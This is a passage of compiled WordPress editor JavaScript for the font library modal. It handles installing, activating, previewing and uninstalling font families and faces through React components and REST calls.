iframeDocument.fonts.add(loadedFace);
}
}
/*
* Unloads the font face and remove it from the browser.
* It also removes it from the iframe document.
*
* Note that Font faces that were added to the set using the CSS @font-face rule
* remain connected to the corresponding CSS, and cannot be deleted.
*
* @see https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/delete.
*/
function unloadFontFaceInBrowser(fontFace, removeFrom = 'all') {
const unloadFontFace = fonts => {
fonts.forEach(f => {
if (f.family === formatFontFaceName(fontFace?.fontFamily) && f.weight === fontFace?.fontWeight && f.style === fontFace?.fontStyle) {
fonts.delete(f);
}
});
};
if (removeFrom === 'document' || removeFrom === 'all') {
unloadFontFace(document.fonts);
}
if (removeFrom === 'iframe' || removeFrom === 'all') {
const iframeDocument = document.querySelector('iframe[name="editor-canvas"]').contentDocument;
unloadFontFace(iframeDocument.fonts);
}
}
/**
* Retrieves the display source from a font face src.
*
* @param {string|string[]} input - The font face src.
* @return {string|undefined} The display source or undefined if the input is invalid.
*/
function getDisplaySrcFromFontFace(input) {
if (!input) {
return;
}
let src;
if (Array.isArray(input)) {
src = input[0];
} else {
src = input;
}
// It's expected theme fonts will already be loaded in the browser.
if (src.startsWith('file:.')) {
return;
}
if (!isUrlEncoded(src)) {
src = encodeURI(src);
}
return src;
}
function makeFontFamilyFormData(fontFamily) {
const formData = new FormData();
const {
fontFace,
category,
...familyWithValidParameters
} = fontFamily;
const fontFamilySettings = {
...familyWithValidParameters,
slug: kebabCase(fontFamily.slug)
};
formData.append('font_family_settings', JSON.stringify(fontFamilySettings));
return formData;
}
function makeFontFacesFormData(font) {
if (font?.fontFace) {
const fontFacesFormData = font.fontFace.map((item, faceIndex) => {
const face = {
...item
};
const formData = new FormData();
if (face.file) {
// Normalize to an array, since face.file may be a single file or an array of files.
const files = Array.isArray(face.file) ? face.file : [face.file];
const src = [];
files.forEach((file, key) => {
// Slugified file name because the it might contain spaces or characters treated differently on the server.
const fileId = `file-${faceIndex}-${key}`;
// Add the files to the formData
formData.append(fileId, file, file.name);
src.push(fileId);
});
face.src = src.length === 1 ? src[0] : src;
delete face.file;
formData.append('font_face_settings', JSON.stringify(face));
} else {
formData.append('font_face_settings', JSON.stringify(face));
}
return formData;
});
return fontFacesFormData;
}
}
async function batchInstallFontFaces(fontFamilyId, fontFacesData) {
const responses = [];
/*
* Uses the same response format as Promise.allSettled, but executes requests in sequence to work
* around a race condition that can cause an error when the fonts directory doesn't exist yet.
*/
for (const faceData of fontFacesData) {
try {
const response = await fetchInstallFontFace(fontFamilyId, faceData);
responses.push({
status: 'fulfilled',
value: response
});
} catch (error) {
responses.push({
status: 'rejected',
reason: error
});
}
}
const results = {
errors: [],
successes: []
};
responses.forEach((result, index) => {
if (result.status === 'fulfilled') {
const response = result.value;
if (response.id) {
results.successes.push(response);
} else {
results.errors.push({
data: fontFacesData[index],
message: `Error: ${response.message}`
});
}
} else {
// Handle network errors or other fetch-related errors
results.errors.push({
data: fontFacesData[index],
message: result.reason.message
});
}
});
return results;
}
/*
* Downloads a font face asset from a URL to the client and returns a File object.
*/
async function downloadFontFaceAssets(src) {
// Normalize to an array, since `src` could be a string or array.
src = Array.isArray(src) ? src : [src];
const files = await Promise.all(src.map(async url => {
return fetch(new Request(url)).then(response => {
if (!response.ok) {
throw new Error(`Error downloading font face asset from ${url}. Server responded with status: ${response.status}`);
}
return response.blob();
}).then(blob => {
const filename = url.split('/').pop();
const file = new File([blob], filename, {
type: blob.type
});
return file;
});
}));
// If we only have one file return it (not the array). Otherwise return all of them in the array.
return files.length === 1 ? files[0] : files;
}
/*
* Determine if a given Font Face is present in a given collection.
* We determine that a font face has been installed by comparing the fontWeight and fontStyle
*
* @param {Object} fontFace The Font Face to seek
* @param {Array} collection The Collection to seek in
* @returns True if the font face is found in the collection. Otherwise False.
*/
function checkFontFaceInstalled(fontFace, collection) {
return -1 !== collection.findIndex(collectionFontFace => {
return collectionFontFace.fontWeight === fontFace.fontWeight && collectionFontFace.fontStyle === fontFace.fontStyle;
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/toggleFont.js
/**
* Toggles the activation of a given font or font variant within a list of custom fonts.
*
* - If only the font is provided (without face), the entire font family's activation is toggled.
* - If both font and face are provided, the activation of the specific font variant is toggled.
*
* @param {Object} font - The font to be toggled.
* @param {string} font.slug - The unique identifier for the font.
* @param {Array} [font.fontFace] - The list of font variants (faces) associated with the font.
*
* @param {Object} [face] - The specific font variant to be toggled.
* @param {string} face.fontWeight - The weight of the font variant.
* @param {string} face.fontStyle - The style of the font variant.
*
* @param {Array} initialfonts - The initial list of custom fonts.
*
* @return {Array} - The updated list of custom fonts with the font/font variant toggled.
*
* @example
* const customFonts = [
* { slug: 'roboto', fontFace: [{ fontWeight: '400', fontStyle: 'normal' }] }
* ];
*
* toggleFont({ slug: 'roboto' }, null, customFonts);
* // This will remove 'roboto' from customFonts
*
* toggleFont({ slug: 'roboto' }, { fontWeight: '400', fontStyle: 'normal' }, customFonts);
* // This will remove the specified face from 'roboto' in customFonts
*
* toggleFont({ slug: 'roboto' }, { fontWeight: '500', fontStyle: 'normal' }, customFonts);
* // This will add the specified face to 'roboto' in customFonts
*/
function toggleFont(font, face, initialfonts) {
// Helper to check if a font is activated based on its slug
const isFontActivated = f => f.slug === font.slug;
// Helper to get the activated font from a list of fonts
const getActivatedFont = fonts => fonts.find(isFontActivated);
// Toggle the activation status of an entire font family
const toggleEntireFontFamily = activatedFont => {
if (!activatedFont) {
// If the font is not active, activate the entire font family
return [...initialfonts, font];
}
// If the font is already active, deactivate the entire font family
return initialfonts.filter(f => !isFontActivated(f));
};
// Toggle the activation status of a specific font variant
const toggleFontVariant = activatedFont => {
const isFaceActivated = f => f.fontWeight === face.fontWeight && f.fontStyle === face.fontStyle;
if (!activatedFont) {
// If the font family is not active, activate the font family with the font variant
return [...initialfonts, {
...font,
fontFace: [face]
}];
}
let newFontFaces = activatedFont.fontFace || [];
if (newFontFaces.find(isFaceActivated)) {
// If the font variant is active, deactivate it
newFontFaces = newFontFaces.filter(f => !isFaceActivated(f));
} else {
// If the font variant is not active, activate it
newFontFaces = [...newFontFaces, face];
}
// If there are no more font faces, deactivate the font family
if (newFontFaces.length === 0) {
return initialfonts.filter(f => !isFontActivated(f));
}
// Return updated fonts list with toggled font variant
return initialfonts.map(f => isFontActivated(f) ? {
...f,
fontFace: newFontFaces
} : f);
};
const activatedFont = getActivatedFont(initialfonts);
if (!face) {
return toggleEntireFontFamily(activatedFont);
}
return toggleFontVariant(activatedFont);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/context.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalSetting: context_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const FontLibraryContext = (0,external_wp_element_namespaceObject.createContext)({});
function FontLibraryProvider({
children
}) {
const {
saveEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const {
globalStylesId
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
__experimentalGetCurrentGlobalStylesId
} = select(external_wp_coreData_namespaceObject.store);
return {
globalStylesId: __experimentalGetCurrentGlobalStylesId()
};
});
const globalStyles = (0,external_wp_coreData_namespaceObject.useEntityRecord)('root', 'globalStyles', globalStylesId);
const [isInstalling, setIsInstalling] = (0,external_wp_element_namespaceObject.useState)(false);
const [refreshKey, setRefreshKey] = (0,external_wp_element_namespaceObject.useState)(0);
const refreshLibrary = () => {
setRefreshKey(Date.now());
};
const {
records: libraryPosts = [],
isResolving: isResolvingLibrary
} = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', 'wp_font_family', {
refreshKey,
_embed: true
});
const libraryFonts = (libraryPosts || []).map(fontFamilyPost => {
return {
id: fontFamilyPost.id,
...fontFamilyPost.font_family_settings,
fontFace: fontFamilyPost?._embedded?.font_faces.map(face => face.font_face_settings) || []
};
}) || [];
// Global Styles (settings) font families
const [fontFamilies, setFontFamilies] = context_useGlobalSetting('typography.fontFamilies');
/*
* Save the font families to the database.
* This function is called when the user activates or deactivates a font family.
* It only updates the global styles post content in the database for new font families.
* This avoids saving other styles/settings changed by the user using other parts of the editor.
*
* It uses the font families from the param to avoid using the font families from an outdated state.
*
* @param {Array} fonts - The font families that will be saved to the database.
*/
const saveFontFamilies = async fonts => {
// Gets the global styles database post content.
const updatedGlobalStyles = globalStyles.record;
// Updates the database version of global styles with the edited font families in the client.
setNestedValue(updatedGlobalStyles, ['settings', 'typography', 'fontFamilies'], fonts);
// Saves a new version of the global styles in the database.
await saveEntityRecord('root', 'globalStyles', updatedGlobalStyles);
};
// Library Fonts
const [modalTabOpen, setModalTabOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const [libraryFontSelected, setLibraryFontSelected] = (0,external_wp_element_namespaceObject.useState)(null);
// Themes Fonts are the fonts defined in the global styles (database persisted theme.json data).
const themeFonts = fontFamilies?.theme ? fontFamilies.theme.map(f => setUIValuesNeeded(f, {
source: 'theme'
})).sort((a, b) => a.name.localeCompare(b.name)) : [];
const customFonts = fontFamilies?.custom ? fontFamilies.custom.map(f => setUIValuesNeeded(f, {
source: 'custom'
})).sort((a, b) => a.name.localeCompare(b.name)) : [];
const baseCustomFonts = libraryFonts ? libraryFonts.map(f => setUIValuesNeeded(f, {
source: 'custom'
})).sort((a, b) => a.name.localeCompare(b.name)) : [];
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (!modalTabOpen) {
setLibraryFontSelected(null);
}
}, [modalTabOpen]);
const handleSetLibraryFontSelected = font => {
// If font is null, reset the selected font
if (!font) {
setLibraryFontSelected(null);
return;
}
const fonts = font.source === 'theme' ? themeFonts : baseCustomFonts;
// Tries to find the font in the installed fonts
const fontSelected = fonts.find(f => f.slug === font.slug);
// If the font is not found (it is only defined in custom styles), use the font from custom styles
setLibraryFontSelected({
...(fontSelected || font),
source: font.source
});
};
// Demo
const [loadedFontUrls] = (0,external_wp_element_namespaceObject.useState)(new Set());
const getAvailableFontsOutline = availableFontFamilies => {
const outline = availableFontFamilies.reduce((acc, font) => {
const availableFontFaces = font?.fontFace && font.fontFace?.length > 0 ? font?.fontFace.map(face => `${face.fontStyle + face.fontWeight}`) : ['normal400']; // If the font doesn't have fontFace, we assume it is a system font and we add the defaults: normal 400
acc[font.slug] = availableFontFaces;
return acc;
}, {});
return outline;
};
const getActivatedFontsOutline = source => {
switch (source) {
case 'theme':
return getAvailableFontsOutline(themeFonts);
case 'custom':
default:
return getAvailableFontsOutline(customFonts);
}
};
const isFontActivated = (slug, style, weight, source) => {
if (!style && !weight) {
return !!getActivatedFontsOutline(source)[slug];
}
return !!getActivatedFontsOutline(source)[slug]?.includes(style + weight);
};
const getFontFacesActivated = (slug, source) => {
return getActivatedFontsOutline(source)[slug] || [];
};
async function installFonts(fontFamiliesToInstall) {
setIsInstalling(true);
try {
const fontFamiliesToActivate = [];
let installationErrors = [];
for (const fontFamilyToInstall of fontFamiliesToInstall) {
let isANewFontFamily = false;
// Get the font family if it already exists.
let installedFontFamily = await fetchGetFontFamilyBySlug(fontFamilyToInstall.slug);
// Otherwise create it.
if (!installedFontFamily) {
isANewFontFamily = true;
// Prepare font family form data to install.
installedFontFamily = await fetchInstallFontFamily(makeFontFamilyFormData(fontFamilyToInstall));
}
// Collect font faces that have already been installed (to be activated later)
const alreadyInstalledFontFaces = installedFontFamily.fontFace && fontFamilyToInstall.fontFace ? installedFontFamily.fontFace.filter(fontFaceToInstall => checkFontFaceInstalled(fontFaceToInstall, fontFamilyToInstall.fontFace)) : [];
// Filter out Font Faces that have already been installed (so that they are not re-installed)
if (installedFontFamily.fontFace && fontFamilyToInstall.fontFace) {
fontFamilyToInstall.fontFace = fontFamilyToInstall.fontFace.filter(fontFaceToInstall => !checkFontFaceInstalled(fontFaceToInstall, installedFontFamily.fontFace));
}
// Install the fonts (upload the font files to the server and create the post in the database).
let successfullyInstalledFontFaces = [];
let unsuccessfullyInstalledFontFaces = [];
if (fontFamilyToInstall?.fontFace?.length > 0) {
const response = await batchInstallFontFaces(installedFontFamily.id, makeFontFacesFormData(fontFamilyToInstall));
successfullyInstalledFontFaces = response?.successes;
unsuccessfullyInstalledFontFaces = response?.errors;
}
// Use the successfully installed font faces
// As well as any font faces that were already installed (those will be activated)
if (successfullyInstalledFontFaces?.length > 0 || alreadyInstalledFontFaces?.length > 0) {
// Use font data from REST API not from client to ensure
// correct font information is used.
installedFontFamily.fontFace = [...successfullyInstalledFontFaces];
fontFamiliesToActivate.push(installedFontFamily);
}
// If it's a system font but was installed successfully, activate it.
if (installedFontFamily && !fontFamilyToInstall?.fontFace?.length) {
fontFamiliesToActivate.push(installedFontFamily);
}
// If the font family is new and is not a system font, delete it to avoid having font families without font faces.
if (isANewFontFamily && fontFamilyToInstall?.fontFace?.length > 0 && successfullyInstalledFontFaces?.length === 0) {
await fetchUninstallFontFamily(installedFontFamily.id);
}
installationErrors = installationErrors.concat(unsuccessfullyInstalledFontFaces);
}
installationErrors = installationErrors.reduce((unique, item) => unique.includes(item.message) ? unique : [...unique, item.message], []);
if (fontFamiliesToActivate.length > 0) {
// Activate the font family (add the font family to the global styles).
const activeFonts = activateCustomFontFamilies(fontFamiliesToActivate);
// Save the global styles to the database.
await saveFontFamilies(activeFonts);
refreshLibrary();
}
if (installationErrors.length > 0) {
const installError = new Error((0,external_wp_i18n_namespaceObject.__)('There was an error installing fonts.'));
installError.installationErrors = installationErrors;
throw installError;
}
} finally {
setIsInstalling(false);
}
}
async function uninstallFontFamily(fontFamilyToUninstall) {
try {
// Uninstall the font family.
// (Removes the font files from the server and the posts from the database).
const uninstalledFontFamily = await fetchUninstallFontFamily(fontFamilyToUninstall.id);
// Deactivate the font family if delete request is successful
// (Removes the font family from the global styles).
if (uninstalledFontFamily.deleted) {
const activeFonts = deactivateFontFamily(fontFamilyToUninstall);
// Save the global styles to the database.
await saveFontFamilies(activeFonts);
}
// Refresh the library (the library font families from database).
refreshLibrary();
return uninstalledFontFamily;
} catch (error) {
// eslint-disable-next-line no-console
console.error(`There was an error uninstalling the font family:`, error);
throw error;
}
}
const deactivateFontFamily = font => {
var _fontFamilies$font$so;
// If the user doesn't have custom fonts defined, include as custom fonts all the theme fonts
// We want to save as active all the theme fonts at the beginning
const initialCustomFonts = (_fontFamilies$font$so = fontFamilies?.[font.source]) !== null && _fontFamilies$font$so !== void 0 ? _fontFamilies$font$so : [];
const newCustomFonts = initialCustomFonts.filter(f => f.slug !== font.slug);
const activeFonts = {
...fontFamilies,
[font.source]: newCustomFonts
};
setFontFamilies(activeFonts);
if (font.fontFace) {
font.fontFace.forEach(face => {
unloadFontFaceInBrowser(face, 'all');
});
}
return activeFonts;
};
const activateCustomFontFamilies = fontsToAdd => {
const fontsToActivate = cleanFontsForSave(fontsToAdd);
const activeFonts = {
...fontFamilies,
// Merge the existing custom fonts with the new fonts.
custom: mergeFontFamilies(fontFamilies?.custom, fontsToActivate)
};
// Activate the fonts by set the new custom fonts array.
setFontFamilies(activeFonts);
loadFontsInBrowser(fontsToActivate);
return activeFonts;
};
// Removes the id from the families and faces to avoid saving that to global styles post content.
const cleanFontsForSave = fonts => {
return fonts.map(({
id: _familyDbId,
fontFace,
...font
}) => ({
...font,
...(fontFace && fontFace.length > 0 ? {
fontFace: fontFace.map(({
id: _faceDbId,
...face
}) => face)
} : {})
}));
};
const loadFontsInBrowser = fonts => {
// Add custom fonts to the browser.
fonts.forEach(font => {
if (font.fontFace) {
font.fontFace.forEach(face => {
// Load font faces just in the iframe because they already are in the document.
loadFontFaceInBrowser(face, getDisplaySrcFromFontFace(face.src), 'all');
});
}
});
};
const toggleActivateFont = (font, face) => {
var _fontFamilies$font$so2;
// If the user doesn't have custom fonts defined, include as custom fonts all the theme fonts
// We want to save as active all the theme fonts at the beginning
const initialFonts = (_fontFamilies$font$so2 = fontFamilies?.[font.source]) !== null && _fontFamilies$font$so2 !== void 0 ? _fontFamilies$font$so2 : [];
// Toggles the received font family or font face
const newFonts = toggleFont(font, face, initialFonts);
// Updates the font families activated in global settings:
setFontFamilies({
...fontFamilies,
[font.source]: newFonts
});
const isFaceActivated = isFontActivated(font.slug, face?.fontStyle, face?.fontWeight, font.source);
if (isFaceActivated) {
unloadFontFaceInBrowser(face, 'all');
} else {
loadFontFaceInBrowser(face, getDisplaySrcFromFontFace(face?.src), 'all');
}
};
const loadFontFaceAsset = async fontFace => {
// If the font doesn't have a src, don't load it.
if (!fontFace.src) {
return;
}
// Get the src of the font.
const src = getDisplaySrcFromFontFace(fontFace.src);
// If the font is already loaded, don't load it again.
if (!src || loadedFontUrls.has(src)) {
return;
}
// Load the font in the browser.
loadFontFaceInBrowser(fontFace, src, 'document');
// Add the font to the loaded fonts list.
loadedFontUrls.add(src);
};
// Font Collections
const [collections, setFontCollections] = (0,external_wp_element_namespaceObject.useState)([]);
const getFontCollections = async () => {
const response = await fetchFontCollections();
setFontCollections(response);
};
const getFontCollection = async slug => {
try {
const hasData = !!collections.find(collection => collection.slug === slug)?.font_families;
if (hasData) {
return;
}
const response = await fetchFontCollection(slug);
const updatedCollections = collections.map(collection => collection.slug === slug ? {
...collection,
...response
} : collection);
setFontCollections(updatedCollections);
} catch (e) {
// eslint-disable-next-line no-console
console.error(e);
throw e;
}
};
(0,external_wp_element_namespaceObject.useEffect)(() => {
getFontCollections();
}, []);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontLibraryContext.Provider, {
value: {
libraryFontSelected,
handleSetLibraryFontSelected,
fontFamilies,
baseCustomFonts,
isFontActivated,
getFontFacesActivated,
loadFontFaceAsset,
installFonts,
uninstallFontFamily,
toggleActivateFont,
getAvailableFontsOutline,
modalTabOpen,
setModalTabOpen,
refreshLibrary,
saveFontFamilies,
isResolvingLibrary,
isInstalling,
collections,
getFontCollection
},
children: children
});
}
/* harmony default export */ const context = (FontLibraryProvider);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/font-demo.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function getPreviewUrl(fontFace) {
if (fontFace.preview) {
return fontFace.preview;
}
if (fontFace.src) {
return Array.isArray(fontFace.src) ? fontFace.src[0] : fontFace.src;
}
}
function getDisplayFontFace(font) {
// if this IS a font face return it
if (font.fontStyle || font.fontWeight) {
return font;
}
// if this is a font family with a collection of font faces
// return the first one that is normal and 400 OR just the first one
if (font.fontFace && font.fontFace.length) {
return font.fontFace.find(face => face.fontStyle === 'normal' && face.fontWeight === '400') || font.fontFace[0];
}
// This must be a font family with no font faces
// return a fake font face
return {
fontStyle: 'normal',
fontWeight: '400',
fontFamily: font.fontFamily,
fake: true
};
}
function FontDemo({
font,
text
}) {
const ref = (0,external_wp_element_namespaceObject.useRef)(null);
const fontFace = getDisplayFontFace(font);
const style = getFamilyPreviewStyle(font);
text = text || font.name;
const customPreviewUrl = font.preview;
const [isIntersecting, setIsIntersecting] = (0,external_wp_element_namespaceObject.useState)(false);
const [isAssetLoaded, setIsAssetLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
const {
loadFontFaceAsset
} = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
const previewUrl = customPreviewUrl !== null && customPreviewUrl !== void 0 ? customPreviewUrl : getPreviewUrl(fontFace);
const isPreviewImage = previewUrl && previewUrl.match(/\.(png|jpg|jpeg|gif|svg)$/i);
const faceStyles = getFacePreviewStyle(fontFace);
const textDemoStyle = {
fontSize: '18px',
lineHeight: 1,
opacity: isAssetLoaded ? '1' : '0',
...style,
...faceStyles
};
(0,external_wp_element_namespaceObject.useEffect)(() => {
const observer = new window.IntersectionObserver(([entry]) => {
setIsIntersecting(entry.isIntersecting);
}, {});
observer.observe(ref.current);
return () => observer.disconnect();
}, [ref]);
(0,external_wp_element_namespaceObject.useEffect)(() => {
const loadAsset = async () => {
if (isIntersecting) {
if (!isPreviewImage && fontFace.src) {
await loadFontFaceAsset(fontFace);
}
setIsAssetLoaded(true);
}
};
loadAsset();
}, [fontFace, isIntersecting, loadFontFaceAsset, isPreviewImage]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
ref: ref,
children: isPreviewImage ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
src: previewUrl,
loading: "lazy",
alt: text,
className: "font-library-modal__font-variant_demo-image"
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
style: textDemoStyle,
className: "font-library-modal__font-variant_demo-text",
children: text
})
});
}
/* harmony default export */ const font_demo = (FontDemo);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/font-card.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function FontCard({
font,
onClick,
variantsText,
navigatorPath
}) {
const variantsCount = font.fontFace?.length || 1;
const style = {
cursor: !!onClick ? 'pointer' : 'default'
};
const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
onClick: () => {
onClick();
if (navigatorPath) {
navigator.goTo(navigatorPath);
}
},
style: style,
className: "font-library-modal__font-card",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
justify: "space-between",
wrap: false,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_demo, {
font: font
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
justify: "flex-end",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
className: "font-library-modal__font-card__count",
children: variantsText || (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: Number of font variants. */
(0,external_wp_i18n_namespaceObject._n)('%d variant', '%d variants', variantsCount), variantsCount)
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
})
})]
})]
})
});
}
/* harmony default export */ const font_card = (FontCard);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/library-font-variant.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function LibraryFontVariant({
face,
font
}) {
const {
isFontActivated,
toggleActivateFont
} = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
const isInstalled = font?.fontFace?.length > 0 ? isFontActivated(font.slug, face.fontStyle, face.fontWeight, font.source) : isFontActivated(font.slug, null, null, font.source);
const handleToggleActivation = () => {
if (font?.fontFace?.length > 0) {
toggleActivateFont(font, face);
return;
}
toggleActivateFont(font);
};
const displayName = font.name + ' ' + getFontFaceVariantName(face);
const checkboxId = (0,external_wp_element_namespaceObject.useId)();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "font-library-modal__font-card",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
justify: "flex-start",
align: "center",
gap: "1rem",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
checked: isInstalled,
onChange: handleToggleActivation,
__nextHasNoMarginBottom: true,
id: checkboxId
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("label", {
htmlFor: checkboxId,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_demo, {
font: face,
text: displayName,
onClick: handleToggleActivation
})
})]
})
});
}
/* harmony default export */ const library_font_variant = (LibraryFontVariant);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/sort-font-faces.js
function getNumericFontWeight(value) {
switch (value) {
case 'normal':
return 400;
case 'bold':
return 700;
case 'bolder':
return 500;
case 'lighter':
return 300;
default:
return parseInt(value, 10);
}
}
function sortFontFaces(faces) {
return faces.sort((a, b) => {
// Ensure 'normal' fontStyle is always first
if (a.fontStyle === 'normal' && b.fontStyle !== 'normal') {
return -1;
}
if (b.fontStyle === 'normal' && a.fontStyle !== 'normal') {
return 1;
}
// If both fontStyles are the same, sort by fontWeight
if (a.fontStyle === b.fontStyle) {
return getNumericFontWeight(a.fontWeight) - getNumericFontWeight(b.fontWeight);
}
// Sort other fontStyles alphabetically
return a.fontStyle.localeCompare(b.fontStyle);
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/installed-fonts.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalSetting: installed_fonts_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function InstalledFonts() {
var _libraryFontSelected$;
const {
baseCustomFonts,
libraryFontSelected,
handleSetLibraryFontSelected,
refreshLibrary,
uninstallFontFamily,
isResolvingLibrary,
isInstalling,
saveFontFamilies,
getFontFacesActivated
} = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
const [fontFamilies, setFontFamilies] = installed_fonts_useGlobalSetting('typography.fontFamilies');
const [isConfirmDeleteOpen, setIsConfirmDeleteOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const [notice, setNotice] = (0,external_wp_element_namespaceObject.useState)(false);
const [baseFontFamilies] = installed_fonts_useGlobalSetting('typography.fontFamilies', undefined, 'base');
const globalStylesId = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
__experimentalGetCurrentGlobalStylesId
} = select(external_wp_coreData_namespaceObject.store);
return __experimentalGetCurrentGlobalStylesId();
});
const globalStyles = (0,external_wp_coreData_namespaceObject.useEntityRecord)('root', 'globalStyles', globalStylesId);
const fontFamiliesHasChanges = !!globalStyles?.edits?.settings?.typography?.fontFamilies;
const themeFonts = fontFamilies?.theme ? fontFamilies.theme.map(f => setUIValuesNeeded(f, {
source: 'theme'
})).sort((a, b) => a.name.localeCompare(b.name)) : [];
const themeFontsSlugs = new Set(themeFonts.map(f => f.slug));
const baseThemeFonts = baseFontFamilies?.theme ? themeFonts.concat(baseFontFamilies.theme.filter(f => !themeFontsSlugs.has(f.slug)).map(f => setUIValuesNeeded(f, {
source: 'theme'
})).sort((a, b) => a.name.localeCompare(b.name))) : [];
const customFontFamilyId = libraryFontSelected?.source === 'custom' && libraryFontSelected?.id;
const canUserDelete = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
canUser
} = select(external_wp_coreData_namespaceObject.store);
return customFontFamilyId && canUser('delete', {
kind: 'postType',
name: 'wp_font_family',
id: customFontFamilyId
});
}, [customFontFamilyId]);
const shouldDisplayDeleteButton = !!libraryFontSelected && libraryFontSelected?.source !== 'theme' && canUserDelete;
const handleUninstallClick = () => {
setIsConfirmDeleteOpen(true);
};
const handleUpdate = async () => {
setNotice(null);
try {
await saveFontFamilies(fontFamilies);
setNotice({
type: 'success',
message: (0,external_wp_i18n_namespaceObject.__)('Font family updated successfully.')
});
} catch (error) {
setNotice({
type: 'error',
message: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: error message */
(0,external_wp_i18n_namespaceObject.__)('There was an error updating the font family. %s'), error.message)
});
}
};
const getFontFacesToDisplay = font => {
if (!font) {
return [];
}
if (!font.fontFace || !font.fontFace.length) {
return [{
fontFamily: font.fontFamily,
fontStyle: 'normal',
fontWeight: '400'
}];
}
return sortFontFaces(font.fontFace);
};
const getFontCardVariantsText = font => {
const variantsInstalled = font?.fontFace?.length > 0 ? font.fontFace.length : 1;
const variantsActive = getFontFacesActivated(font.slug, font.source).length;
return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Active font variants, 2: Total font variants. */
(0,external_wp_i18n_namespaceObject.__)('%1$s/%2$s variants active'), variantsActive, variantsInstalled);
};
(0,external_wp_element_namespaceObject.useEffect)(() => {
handleSetLibraryFontSelected(libraryFontSelected);
refreshLibrary();
}, []);
// Get activated fonts count.
const activeFontsCount = libraryFontSelected ? getFontFacesActivated(libraryFontSelected.slug, libraryFontSelected.source).length : 0;
const selectedFontsCount = (_libraryFontSelected$ = libraryFontSelected?.fontFace?.length) !== null && _libraryFontSelected$ !== void 0 ? _libraryFontSelected$ : libraryFontSelected?.fontFamily ? 1 : 0;
// Check if any fonts are selected.
const isIndeterminate = activeFontsCount > 0 && activeFontsCount !== selectedFontsCount;
// Check if all fonts are selected.
const isSelectAllChecked = activeFontsCount === selectedFontsCount;
// Toggle select all fonts.
const toggleSelectAll = () => {
var _fontFamilies$library;
const initialFonts = (_fontFamilies$library = fontFamilies?.[libraryFontSelected.source]?.filter(f => f.slug !== libraryFontSelected.slug)) !== null && _fontFamilies$library !== void 0 ? _fontFamilies$library : [];
const newFonts = isSelectAllChecked ? initialFonts : [...initialFonts, libraryFontSelected];
setFontFamilies({
...fontFamilies,
[libraryFontSelected.source]: newFonts
});
if (libraryFontSelected.fontFace) {
libraryFontSelected.fontFace.forEach(face => {
if (isSelectAllChecked) {
unloadFontFaceInBrowser(face, 'all');
} else {
loadFontFaceInBrowser(face, getDisplaySrcFromFontFace(face?.src), 'all');
}
});
}
};
const hasFonts = baseThemeFonts.length > 0 || baseCustomFonts.length > 0;
